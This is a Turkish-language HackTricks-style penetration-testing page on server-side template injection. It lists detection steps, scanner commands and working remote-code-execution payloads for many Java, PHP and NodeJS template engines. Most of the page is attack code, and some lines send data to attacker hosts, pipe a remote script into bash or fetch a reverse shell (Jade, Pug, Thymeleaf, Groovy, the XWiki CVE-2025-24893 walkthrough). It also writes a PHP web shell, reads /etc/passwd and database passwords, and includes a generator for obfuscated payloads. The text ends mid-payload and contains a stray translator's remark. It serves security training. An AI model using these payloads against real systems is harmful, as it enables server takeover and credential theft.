SSTI (Server Side Template Injection)
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
SSTI (Server-Side Template Injection) nedir
Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona zararlı kod enjekte edebilmesi durumunda ortaya çıkan bir zayıflıktır. Bu zayıflık Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan ve zafiyeti gösteren bir kod örneğini inceleyelim:
output = template.render(name=request.args.get('name'))
Bu zafiyetli kodda, kullanıcının isteğinden gelen name parametresi render fonksiyonu kullanılarak doğrudan template’e aktarılıyor. Bu, potansiyel olarak bir attacker’ın name parametresine kötü amaçlı kod enjekte etmesine ve sonuçta server-side template injection’a yol açmasına izin verebilir.
Örneğin, bir attacker şu şekilde bir payload içeren bir istek oluşturabilir:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} name parametresine enjekte edilir. Bu payload Jinja template direktifleri içerebilir; bu da saldırganın yetkisiz kod çalıştırmasına veya template engine’i manipüle etmesine olanak tanıyabilir ve potansiyel olarak sunucu üzerinde kontrol sağlamasına yol açabilir.
To prevent server-side template injection vulnerabilities, geliştiriciler kullanıcı girdilerinin şablonlara eklenmeden önce düzgün şekilde temizlendiğinden (sanitized) ve doğrulandığından emin olmalıdır. Girdi doğrulama uygulamak ve bağlama-hassas (context-aware) escape/kaçış teknikleri kullanmak bu zafiyet riskini azaltmaya yardımcı olur.
Tespit
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. Bu, şablona özel karakter dizileri (${{<%[%'"}}%\) enjekte etmeyi ve sunucunun normal veri ile bu özel payload’a verdiği yanıtlar arasındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
- Hata fırlatılması; zafiyeti ve potansiyel olarak template engine’i açığa çıkarır.
- Payload’un yansıtılmaması veya parçalarının eksik olması; bu durum sunucunun payload’u normal veriden farklı işlediğini gösterir.
- Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS’den ayırın (ör.
{{7*7}},${7*7}). - Kod Bağlamı: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin
http://vulnerable-website.com/?greeting=data.usernameiçindekigreetingdeğerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu kontrol edin; meselagreeting=data.username}}hellokullanıldığında kullanıcı adının dönmesi gibi.
Tanımlama Aşaması
Template engine’i tanımlamak, hata mesajlarını analiz etmeyi veya farklı dil-spesifik payload’ları manuel olarak test etmeyi içerir. Hata oluşturan yaygın payload’lar ${7/0}, {{7/0}} ve <%= 7/0 %>’tır. Sunucunun matematiksel işlemlere verdiği yanıtları gözlemlemek, kullanılan spesifik template engine’i belirlemeye yardımcı olur.
Payload’larla Tanımlama
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Araçlar
TInjA
yeni polyglotları kullanan etkili bir SSTI + CSTI tarayıcısı
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
en verimli template injection polyglots ile 44 en önemli template engines’in beklenen yanıtlarını içeren etkileşimli bir tablo.
Exploits
Genel
Bu wordlist içinde, aşağıda bahsedilen bazı engines ortamlarında tanımlı variables defined bulabilirsiniz:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Sistemin ortam değişkenlerini al
${T(java.lang.System).getenv()}
Java - /etc/passwd’i Al
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Payloads’ınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ yalnızca Freemarker 2.3.30’dan düşük sürümlerde çalışır
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Daha fazla bilgi
- FreeMarker bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection sitesinin Velocity bölümünde
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf’te, SSTI açıklarını test etmek için yaygın bir ifade ${7*7}’dir; bu ifade bu şablon motoru için de geçerlidir. Potansiyel remote code execution için aşağıdaki gibi ifadeler kullanılabilir:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf bu ifadelerin belirli attribute’lar içinde yer almasını gerektirir. Ancak, expression inlining diğer şablon konumları için desteklenir ve [[...]] veya [(...)] gibi sözdizimleri kullanılır. Bu nedenle, basit bir SSTI test payload’u [[${7*7}]] şeklinde olabilir.
Ancak bu payload’un çalışması genel olarak düşük bir ihtimaldir. Thymeleaf’in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlı olmalıdır. Geliştiricilerin stringlerden on-the-fly şablon yaratmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu nadirdir.
Thymeleaf ayrıca çift alt çizgi (__...__) içindeki ifadelerin ön işlemden geçirildiği expression preprocessing özelliğini de sunar. Bu özellik, ifadelerin oluşturulmasında kullanılabilir; detaylar Thymeleaf dokümantasyonunda gösterildiği gibidir:
#{selection.__${sel.code}__}
Thymeleaf’te Güvenlik Açığı Örneği
Aşağıdaki kod parçasını düşünün; exploitation’a karşı savunmasız olabilir:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Bu, eğer template engine bu girdileri yanlış şekilde işlerse, aşağıdaki gibi URL’lere erişen remote code execution’a yol açabileceğini gösterir:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Daha fazla bilgi
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Filtreleri atlatma
Birden fazla değişken ifadesi kullanılabilir; ${...} çalışmazsa #{...}, *{...}, @{...} veya ~{...} deneyin.
/etc/passwddosyasını oku
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- payload oluşturmak için Custom Script
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Daha Fazla Bilgi
Spring Görünüm Manipülasyonu (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Eski Pebble sürümü ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble’in yeni sürümü :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, şu adreste mevcut: https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Düzeltildi: https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Daha fazla bilgi
Hubspot - HuBL (Java)
{% %}kontrol yapısı ayraçları{{ }}ifade ayraçları{# #}yorum ayraçları{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
“com.hubspot.content.hubl.context.TemplateContextRequest” için arama yapıldığında Jinjava project on Github bulundu.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Daha fazla bilgi
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL), JavaEE’de sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed bean’ler) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi basitleştirmek için birden fazla JavaEE teknolojisi tarafından yaygın olarak kullanılır. EL’den yararlanan başlıca JavaEE teknolojileri şunlardır:
- JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili backend verilerine ve aksiyonlara bağlamak için EL kullanır.
- JavaServer Pages (JSP): EL, JSP’de sayfa içindeki verilere erişmek ve bunları işlemek için kullanılır; bu, sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
- Contexts and Dependency Injection for Java EE (CDI): EL, CDI ile entegre olarak web katmanı ile managed bean’ler arasında sorunsuz etkileşim sağlar ve daha tutarlı bir uygulama yapısı sunar.
Daha fazla bilgi için aşağıdaki sayfada exploitation of EL interpreters konusunu inceleyin:
Groovy (Java)
Aşağıdaki Security Manager bypasses bu writeup kaynağından alınmıştır.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (15.10.11 / 16.4.1 / 16.5.0RC1 sürümlerinde düzeltildi) Main.SolrSearch macro aracılığıyla yetkilendirme gerektirmeyen RSS arama feed’lerini render ediyor. Handler text sorgu parametresini alıp wiki sözdizimine sarıyor ve macro’ları değerlendiriyor; bu yüzden }}} ardından {{groovy}} enjekte etmek JVM’de rastgele Groovy çalıştırır.
- Fingerprint & scope – XWiki host-based routing arkasında reverse-proxy ile çalışıyorsa, wiki vhost’u keşfetmek için
Hostheader’ını fuzz edin (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), sonra/xwiki/bin/view/Main/adresini gezip footer’ı (XWiki Debian 15.10.8) okuyarak zafiyetli build’i tespit edin. - Trigger SSTI – Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item<title>Groovy çıktısını içerecektir. Her zaman tüm karakterleri URL-encode edin, böylece boşluklar%20olarak kalır; bunları+ile değiştirmek XWiki’in HTTP 500 atmasına neden olur. - Run OS commands – Groovy gövdesini
{{groovy}}println("id".execute().text){{/groovy}}ile değiştirin.String.execute()komutu doğrudanexecve()ile başlattığı için shell metakarakterleri (|,>,&) yorumlanmaz. Bunun yerine download-and-execute deseni kullanın:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(script reverse shell mantığını barındırır).
- Post exploitation – XWiki veritabanı kimlik bilgilerini
/etc/xwiki/hibernate.cfg.xmliçinde saklar; leakinghibernate.connection.passwordgerçek sistem parolalarını verir ve bunlar SSH üzerinden yeniden kullanılabilir. Eğer servis unit’iNoNewPrivileges=trueolarak ayarlanmışsa,/bin/sugibi araçlar geçerli parolalarla bile ek ayrıcalık kazanamaz; bu yüzden yerel SUID ikililere güvenmek yerine SSH üzerinden pivot yapın.
Aynı payload /xwiki/bin/get/Main/SolrSearch üzerinde de çalışır ve Groovy stdout her zaman RSS title’ına gömülüdür; bu yüzden komutların script ile taranması kolaydır.
Diğer Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Daha fazla bilgi için: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Daha fazla bilgi
- Smarty bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Şablon formatı
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Daha fazla bilgi
- Twig ve Twig (Sandboxed) bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates, PHP’ye özgü bir şablon motorudur ve Twig’ten ilham alır. Ancak yeni bir sözdizimi getiren Twig’in aksine, Plates şablonlarda yerel PHP kodunu kullanır; bu da PHP geliştiricileri için daha sezgisel hale getirir.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Sayfa şablonu:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Düzen şablonu:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Daha fazla bilgi
PHPlib ve HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib ile aynı, ancak Pear’e port edilmiştir.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php dosyasını mı çevirmek istiyorsunuz? Lütfen çevrilmesini istediğiniz dosya içeriğini (README.md veya authors.php) buraya yapıştırın. Kod, dosya adları, etiketler, linkler ve yollar çevrilmeyecek — sadece düz İngilizce metni Türkçe’ye çevireceğim.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Daha fazla bilgi
Diğer PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Daha fazla bilgi için https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresindeki Jade bölümünde
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate derlenmeyen PHP şablon motoru, bir belgeyi farklı parçalara ayırmak için XML etiketlerini kullanır
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Daha fazla bilgi
Handlebars (NodeJS)
Path Traversal (daha fazla bilgi here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Hata
- ${7*7} = ${7*7}
- Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Daha fazla bilgi
JsRender (NodeJS)
| Şablon | Açıklama |
|---|---|
| Çıktıyı değerlendirip render eder | |
| HTML olarak kodlanmış çıktıyı değerlendirip render eder | |
| Yorum | |
| and | Kod çalıştırmaya izin verir (varsayılan olarak devre dışı) |
- = 49
İstemci Tarafı
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Sunucu Tarafı
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Daha fazla bilgi
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Örnek sunucu tarafı render
var pugjs = require("pug")
home = pugjs.render(injected_page)
Daha fazla bilgi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Çıktı yok
- #{7*7} = #{7*7}
- {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
